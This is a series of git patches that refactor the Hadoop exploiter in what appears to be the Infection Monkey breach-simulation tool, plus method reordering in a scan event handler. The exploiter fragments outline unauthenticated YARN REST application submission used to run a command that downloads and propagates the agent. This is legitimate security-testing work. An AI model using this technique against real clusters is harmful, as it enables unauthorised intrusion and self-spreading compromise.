a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 4fdd308a2..5a878621e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -5,6 +5,7 @@ """ import json +import logging import posixpath import random import string @@ -12,6 +13,7 @@ import string import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from common.tags import T1203_ATTACK_TECHNIQUE_TAG from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -23,6 +25,10 @@ from infection_monkey.model import ( ) from infection_monkey.utils.commands import build_monkey_commandline +logger = logging.getLogger(__name__) + +HADOOP_EXPLOITER_TAG = "hadoop-exploiter" + class HadoopExploiter(WebRCE): _EXPLOITED_SERVICE = "Hadoop" @@ -40,18 +46,24 @@ class HadoopExploiter(WebRCE): urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: + self.exploit.error_message = f"No vulnerable urls has been found for {self.host}" self.publish_exploitation_event( target=self.host.ip_addr, exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(HADOOP_EXPLOITER_TAG,), ) return self.exploit_result try: monkey_path_on_victim = get_agent_dst_path(self.host) except KeyError: + self.exploit_result.error_message = f"No coressponding agent found for {self.host}" self.publish_exploitation_event( target=self.host.ip_addr, exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(HADOOP_EXPLOITER_TAG,), ) return self.exploit_result @@ -70,8 +82,13 @@ class HadoopExploiter(WebRCE): self.publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, + tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + ) + self.publish_propagation_event( + target=self.host.ip_addr, + propagation_success=True, + tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), ) - self.publish_propagation_event(target=self.host.ip_addr, propagation_success=True) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() From 57af6403170901aee898e1698124930682f255c8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 18:26:03 +0000 Subject: [PATCH 115/144] Agent: Use correct publish method names --- monkey/infection_monkey/exploit/hadoop.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 5a878621e..deece024c 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -47,7 +47,7 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: self.exploit.error_message = f"No vulnerable urls has been found for {self.host}" - self.publish_exploitation_event( + self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=False, error_message=self.exploit_result.error_message, @@ -59,7 +59,7 @@ class HadoopExploiter(WebRCE): monkey_path_on_victim = get_agent_dst_path(self.host) except KeyError: self.exploit_result.error_message = f"No coressponding agent found for {self.host}" - self.publish_exploitation_event( + self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=False, error_message=self.exploit_result.error_message, @@ -79,12 +79,12 @@ class HadoopExploiter(WebRCE): self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - self.publish_exploitation_event( + self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), ) - self.publish_propagation_event( + self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), From bee1047024bae4a37f00ae95abf412ee092a13b7 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 19:16:22 +0000 Subject: [PATCH 116/144] Agent: Update hadoop failed event publishing --- monkey/infection_monkey/exploit/hadoop.py | 27 +++++++++++------------ 1 file changed, 13 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index deece024c..743cf793e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -55,22 +55,13 @@ class HadoopExploiter(WebRCE): ) return self.exploit_result - try: - monkey_path_on_victim = get_agent_dst_path(self.host) - except KeyError: - self.exploit_result.error_message = f"No coressponding agent found for {self.host}" - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=self.exploit_result.error_message, - tags=(HADOOP_EXPLOITER_TAG,), - ) - return self.exploit_result + monkey_path_on_victim = get_agent_dst_path(self.host) http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(monkey_path_on_victim), self.agent_binary_repository ) + tags = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG) try: command = self._build_command(monkey_path_on_victim, http_path) @@ -89,13 +80,21 @@ class HadoopExploiter(WebRCE): propagation_success=True, tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), ) + else: + error_message = f"Failed to exploit via {self.vulnerable_urls[0]}" + self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message) + self._publish_propagation_event(self.host.ip_addr, False, tags, error_message) + except requests.RequestException as err: + error_message = str(err) + self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message) + self._publish_propagation_event(self.host.ip_addr, False, tags, error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return self.exploit_result - def exploit(self, url, command): + def exploit(self, url: str, command: str): if self._is_interrupted(): self._set_interrupted() return False @@ -104,8 +103,8 @@ class HadoopExploiter(WebRCE): resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT ) - resp = json.loads(resp.content) - app_id = resp["application-id"] + resp_dict = json.loads(resp.content) + app_id = resp_dict["application-id"] # Create a random name for our application in YARN # random.SystemRandom can block indefinitely in Linux From c31aed94eaedfad5a9eec1f7ce31d4d8405052a2 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 19:30:42 +0000 Subject: [PATCH 117/144] Agent: Move successful explotiation event publish --- monkey/infection_monkey/exploit/hadoop.py | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 743cf793e..c12be142d 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -70,11 +70,6 @@ class HadoopExploiter(WebRCE): self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=True, - tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), - ) self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, @@ -120,7 +115,15 @@ class HadoopExploiter(WebRCE): resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) - return resp.status_code == 202 + + success = resp.status_code == 202 + if success: + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=True, + tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + ) + return success def check_if_exploitable(self, url): try: From 54b551b7287083bd77676326b9f287b4f33a32e1 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 19:43:14 +0000 Subject: [PATCH 118/144] Agent: Update tags for hadoop events --- monkey/infection_monkey/exploit/hadoop.py | 29 ++++++++++++++++------- 1 file changed, 20 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index c12be142d..ff6e9274b 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -13,7 +13,11 @@ import string import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT -from common.tags import T1203_ATTACK_TECHNIQUE_TAG +from common.tags import ( + T1203_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, + T1570_ATTACK_TECHNIQUE_TAG, +) from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -28,6 +32,8 @@ from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) HADOOP_EXPLOITER_TAG = "hadoop-exploiter" +EXPLOIT_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) +PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1570_ATTACK_TECHNIQUE_TAG) class HadoopExploiter(WebRCE): @@ -51,7 +57,7 @@ class HadoopExploiter(WebRCE): target=self.host.ip_addr, exploitation_success=False, error_message=self.exploit_result.error_message, - tags=(HADOOP_EXPLOITER_TAG,), + tags=PROPAGATION_TAGS, ) return self.exploit_result @@ -61,7 +67,6 @@ class HadoopExploiter(WebRCE): self.host, str(monkey_path_on_victim), self.agent_binary_repository ) - tags = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG) try: command = self._build_command(monkey_path_on_victim, http_path) @@ -73,16 +78,22 @@ class HadoopExploiter(WebRCE): self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, - tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + tags=PROPAGATION_TAGS, ) else: error_message = f"Failed to exploit via {self.vulnerable_urls[0]}" - self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message) - self._publish_propagation_event(self.host.ip_addr, False, tags, error_message) + self._publish_exploitation_event( + self.host.ip_addr, False, EXPLOIT_TAGS, error_message + ) + self._publish_propagation_event( + self.host.ip_addr, False, PROPAGATION_TAGS, error_message + ) except requests.RequestException as err: error_message = str(err) - self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message) - self._publish_propagation_event(self.host.ip_addr, False, tags, error_message) + self._publish_exploitation_event(self.host.ip_addr, False, EXPLOIT_TAGS, error_message) + self._publish_propagation_event( + self.host.ip_addr, False, PROPAGATION_TAGS, error_message + ) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -121,7 +132,7 @@ class HadoopExploiter(WebRCE): self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, - tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + tags=EXPLOIT_TAGS, ) return success From 76ae57281d74a9a7d5b435bde0021a2324d7d812 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 12:25:23 +0000 Subject: [PATCH 119/144] Agent: Use EXPLOIT_TAGS for exploitation event --- monkey/infection_monkey/exploit/hadoop.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index ff6e9274b..7d68798d4 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -57,7 +57,7 @@ class HadoopExploiter(WebRCE): target=self.host.ip_addr, exploitation_success=False, error_message=self.exploit_result.error_message, - tags=PROPAGATION_TAGS, + tags=EXPLOIT_TAGS, ) return self.exploit_result From 4a0a24dde2153bf8d3d9e4e70e563c1b6105d5d6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 13:42:26 +0000 Subject: [PATCH 120/144] Agent: Update hadoop exploiter tags T1570 -> T1105 --- monkey/infection_monkey/exploit/hadoop.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 7d68798d4..c5a8b2cf3 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -14,9 +14,9 @@ import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.tags import ( + T1105_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG, - T1570_ATTACK_TECHNIQUE_TAG, ) from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools @@ -33,7 +33,7 @@ logger = logging.getLogger(__name__) HADOOP_EXPLOITER_TAG = "hadoop-exploiter" EXPLOIT_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) -PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1570_ATTACK_TECHNIQUE_TAG) +PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) class HadoopExploiter(WebRCE): From 3e592cfa69229880ba25b0de48b09f1b0cdd531e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 18:25:40 +0000 Subject: [PATCH 121/144] Agent: Use exploiter tag properties --- monkey/infection_monkey/exploit/hadoop.py | 39 ++++++++--------------- 1 file changed, 14 insertions(+), 25 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index c5a8b2cf3..1f5932121 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -9,6 +9,7 @@ import logging import posixpath import random import string +from typing import Tuple import requests @@ -32,8 +33,6 @@ from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) HADOOP_EXPLOITER_TAG = "hadoop-exploiter" -EXPLOIT_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) -PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) class HadoopExploiter(WebRCE): @@ -44,6 +43,12 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 + def _exploiter_tags(self) -> Tuple[str, ...]: + return (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + + def _propagation_tags(self) -> Tuple[str, ...]: + return (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) + def __init__(self): super(HadoopExploiter, self).__init__() @@ -54,10 +59,8 @@ class HadoopExploiter(WebRCE): if not self.vulnerable_urls: self.exploit.error_message = f"No vulnerable urls has been found for {self.host}" self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, + False, error_message=self.exploit_result.error_message, - tags=EXPLOIT_TAGS, ) return self.exploit_result @@ -75,25 +78,15 @@ class HadoopExploiter(WebRCE): self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=True, - tags=PROPAGATION_TAGS, - ) + self._publish_propagation_event(True) else: error_message = f"Failed to exploit via {self.vulnerable_urls[0]}" - self._publish_exploitation_event( - self.host.ip_addr, False, EXPLOIT_TAGS, error_message - ) - self._publish_propagation_event( - self.host.ip_addr, False, PROPAGATION_TAGS, error_message - ) + self._publish_exploitation_event(False, error_message=error_message) + self._publish_propagation_event(False, error_message=error_message) except requests.RequestException as err: error_message = str(err) - self._publish_exploitation_event(self.host.ip_addr, False, EXPLOIT_TAGS, error_message) - self._publish_propagation_event( - self.host.ip_addr, False, PROPAGATION_TAGS, error_message - ) + self._publish_exploitation_event(False, error_message=error_message) + self._publish_propagation_event(False, error_message=error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -129,11 +122,7 @@ class HadoopExploiter(WebRCE): success = resp.status_code == 202 if success: - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=True, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(True) return success def check_if_exploitable(self, url): From de5d365bb07e8bfce95f18dc846b188e08487bcc Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 18:53:31 +0000 Subject: [PATCH 122/144] Agent: Publish events sooner --- monkey/infection_monkey/exploit/hadoop.py | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 1f5932121..4046a81b1 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -57,11 +57,7 @@ class HadoopExploiter(WebRCE): urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: - self.exploit.error_message = f"No vulnerable urls has been found for {self.host}" - self._publish_exploitation_event( - False, - error_message=self.exploit_result.error_message, - ) + self.exploit_result.error_message = f"No vulnerable urls has been found for {self.host}" return self.exploit_result monkey_path_on_victim = get_agent_dst_path(self.host) @@ -78,11 +74,6 @@ class HadoopExploiter(WebRCE): self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - self._publish_propagation_event(True) - else: - error_message = f"Failed to exploit via {self.vulnerable_urls[0]}" - self._publish_exploitation_event(False, error_message=error_message) - self._publish_propagation_event(False, error_message=error_message) except requests.RequestException as err: error_message = str(err) self._publish_exploitation_event(False, error_message=error_message) @@ -121,8 +112,9 @@ class HadoopExploiter(WebRCE): ) success = resp.status_code == 202 - if success: - self._publish_exploitation_event(True) + message = "" if success else f"Failed to exploit via {url}" + self._publish_exploitation_event(success, error_message=message) + self._publish_propagation_event(success, error_message=message) return success def check_if_exploitable(self, url): From 76a3cb0ba0670bf8e0cd89c9825d47212b6d44bf Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 20:16:06 +0000 Subject: [PATCH 123/144] Agent: Stamp time before exploit executes --- monkey/infection_monkey/exploit/hadoop.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 4046a81b1..0a5b986a6 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -9,6 +9,7 @@ import logging import posixpath import random import string +from time import time from typing import Tuple import requests @@ -66,8 +67,9 @@ class HadoopExploiter(WebRCE): self.host, str(monkey_path_on_victim), self.agent_binary_repository ) + command = self._build_command(monkey_path_on_victim, http_path) + stamp = time() try: - command = self._build_command(monkey_path_on_victim, http_path) if self.exploit(self.vulnerable_urls[0], command): self.add_executed_cmd(command) @@ -76,8 +78,8 @@ class HadoopExploiter(WebRCE): except requests.RequestException as err: error_message = str(err) - self._publish_exploitation_event(False, error_message=error_message) - self._publish_propagation_event(False, error_message=error_message) + self._publish_exploitation_event(stamp, False, error_message=error_message) + self._publish_propagation_event(stamp, False, error_message=error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -107,14 +109,15 @@ class HadoopExploiter(WebRCE): self._set_interrupted() return False + stamp = time() resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) success = resp.status_code == 202 message = "" if success else f"Failed to exploit via {url}" - self._publish_exploitation_event(success, error_message=message) - self._publish_propagation_event(success, error_message=message) + self._publish_exploitation_event(stamp, success, error_message=message) + self._publish_propagation_event(stamp, success, error_message=message) return success def check_if_exploitable(self, url): From 8f6df12d9ceb2a5dda9f30da4388287d64de68e9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 12:58:19 +0200 Subject: [PATCH 124/144] Agent: Modify HadoopExploiter tags to be properties --- monkey/infection_monkey/exploit/hadoop.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 0a5b986a6..18e4d70c6 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -10,7 +10,6 @@ import posixpath import random import string from time import time -from typing import Tuple import requests @@ -44,11 +43,9 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 - def _exploiter_tags(self) -> Tuple[str, ...]: - return (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + _exploiter_tags = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) - def _propagation_tags(self) -> Tuple[str, ...]: - return (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) + _propagation_tags = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) def __init__(self): super(HadoopExploiter, self).__init__() From 8bdb30dcfb4552d0a09090b5959ee51e42f31462 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 13:05:48 +0200 Subject: [PATCH 125/144] Agent: Rename stamp to timestamp in Hadoop --- monkey/infection_monkey/exploit/hadoop.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 18e4d70c6..9c5805b5e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -65,7 +65,7 @@ class HadoopExploiter(WebRCE): ) command = self._build_command(monkey_path_on_victim, http_path) - stamp = time() + timestamp = time() try: if self.exploit(self.vulnerable_urls[0], command): @@ -75,8 +75,8 @@ class HadoopExploiter(WebRCE): except requests.RequestException as err: error_message = str(err) - self._publish_exploitation_event(stamp, False, error_message=error_message) - self._publish_propagation_event(stamp, False, error_message=error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) + self._publish_propagation_event(timestamp, False, error_message=error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -106,15 +106,15 @@ class HadoopExploiter(WebRCE): self._set_interrupted() return False - stamp = time() + timestamp = time() resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) success = resp.status_code == 202 message = "" if success else f"Failed to exploit via {url}" - self._publish_exploitation_event(stamp, success, error_message=message) - self._publish_propagation_event(stamp, success, error_message=message) + self._publish_exploitation_event(timestamp, success, error_message=message) + self._publish_propagation_event(timestamp, success, error_message=message) return success def check_if_exploitable(self, url): From c02d43556ac5d93d27651a3473f22a96b90c4535 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 13:14:55 +0200 Subject: [PATCH 126/144] Agent: Make Hadoop tags uppercase --- monkey/infection_monkey/exploit/hadoop.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 9c5805b5e..f9a186bd5 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -43,9 +43,9 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 - _exploiter_tags = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + _EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) - _propagation_tags = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) + _PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) def __init__(self): super(HadoopExploiter, self).__init__() From 25073be9f3945b5caa606cb9b5571acf362f8c62 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 7 Oct 2022 11:22:27 +0200 Subject: [PATCH 127/144] Agent: Remove adding vulnerable urls in Hadoop Adding vulnerable ulrs causes check to see if the target is exploitable which calls self.exploit --- monkey/infection_monkey/exploit/hadoop.py | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index f9a186bd5..c39533a3a 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -51,11 +51,13 @@ class HadoopExploiter(WebRCE): super(HadoopExploiter, self).__init__() def _exploit_host(self): - # Try to get exploitable url - urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) - self.add_vulnerable_urls(urls, True) - if not self.vulnerable_urls: - self.exploit_result.error_message = f"No vulnerable urls has been found for {self.host}" + # Try to get potential urls + potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) + if not potential_urls: + self.exploit_result.error_message = ( + f"No potential exploitable urls has been found for {self.host}" + ) + self._publish_exploitation_event(False, error_message=self.exploit_result.error_message) return self.exploit_result monkey_path_on_victim = get_agent_dst_path(self.host) @@ -65,18 +67,12 @@ class HadoopExploiter(WebRCE): ) command = self._build_command(monkey_path_on_victim, http_path) - timestamp = time() try: - if self.exploit(self.vulnerable_urls[0], command): + if self.exploit(potential_urls[0], command): self.add_executed_cmd(command) self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - - except requests.RequestException as err: - error_message = str(err) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self._publish_propagation_event(timestamp, False, error_message=error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() From 4c026241eab48f4c7e2b2c6ec7be13048a7eca9e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 7 Oct 2022 07:39:47 -0400 Subject: [PATCH 128/144] Island: Change method order in ScanEventHandler --- .../agent_event_handlers/scan_event_handler.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py index f3482b891..3a345e012 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py +++ b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py @@ -63,10 +63,6 @@ class ScanEventHandler: except (RetrievalError, StorageError, UnknownRecordError): logger.exception("Unable to process tcp scan data") - def _get_source_node(self, event: AbstractAgentEvent) -> Node: - machine = self._get_source_machine(event) - return self._node_repository.get_node_by_machine_id(machine.id) - def _get_target_machine(self, event: ScanEvent) -> Machine: try: target_machines = self._machine_repository.get_machines_by_ip(event.target) @@ -79,6 +75,14 @@ class ScanEventHandler: self._machine_repository.upsert_machine(machine) return machine + def _get_source_node(self, event: AbstractAgentEvent) -> Node: + machine = self._get_source_machine(event) + return self._node_repository.get_node_by_machine_id(machine.id) + + def _get_source_machine(self, event: ScanEvent) -> Machine: + agent = self._agent_repository.get_agent_by_id(event.source) + return self._machine_repository.get_machine_by_id(agent.machine_id) + def _update_target_machine_os(self, machine: Machine, event: PingScanEvent): if event.os is not None and machine.operating_system is None: machine.operating_system = event.os @@ -102,7 +106,3 @@ class ScanEventHandler: self._node_repository.upsert_tcp_connections( src_node.machine_id, {target_machine.id: tcp_connections} ) - - def _get_source_machine(self, event: ScanEvent) -> Machine: - agent = self._agent_repository.get_agent_by_id(event.source) - return self._machine_repository.get_machine_by_id(agent.machine_id) From 0965b97d455d415fcf202e32ee4a07684896be61 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 7 Oct 2022 07:43:10 -0400 Subject: [PATCH 129/144] Island: Use ScanEvent for typehint in ScanEventHandler `event` gets passed to `_get_source_machine()`, which expects `ScanEvent`, not `AbstractAgentEvent` --- .../cc/agent_event_handlers/scan_event_handler.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py index 3a345e012..16acca23b 100644 --- a/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py +++ b/monkey/monkey_island/cc/agent_event_handlers/scan_event_handler.py @@ -4,7 +4,7 @@ from typing import Union from typing_extensions import TypeAlias -from common.agent_events import AbstractAgentEvent, PingScanEvent, TCPScanEvent +from common.agent_events import PingScanEvent, TCPScanEvent from common.types import PortStatus, SocketAddress from monkey_island.cc.models import CommunicationType, Machine, Node from monkey_island.cc.repository import ( @@ -75,7 +75,7 @@ class ScanEventHandler: self._machine_repository.upsert_machine(machine) return machine - def _get_source_node(self, event: AbstractAgentEvent) -> Node: + def _get_source_node(self, event: ScanEvent) -> Node: machine = self._get_source_machine(event) return self._node_repository.get_node_by_machine_id(machine.id) From 79e8ce5f7965d6ff9ae089856a50379d9e175a3a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 7 Oct 2022 07:44:49 -0400 Subject: [PATCH 130/144] Island: Pass tuple, not set to upsert_tcp_connections() pydantic can probably handle the set -> tuple conversion itself, but mypy complains. --- .../monkey_island/cc/agent_event_handlers/scan_event_handler.py | 2 +- 1 file 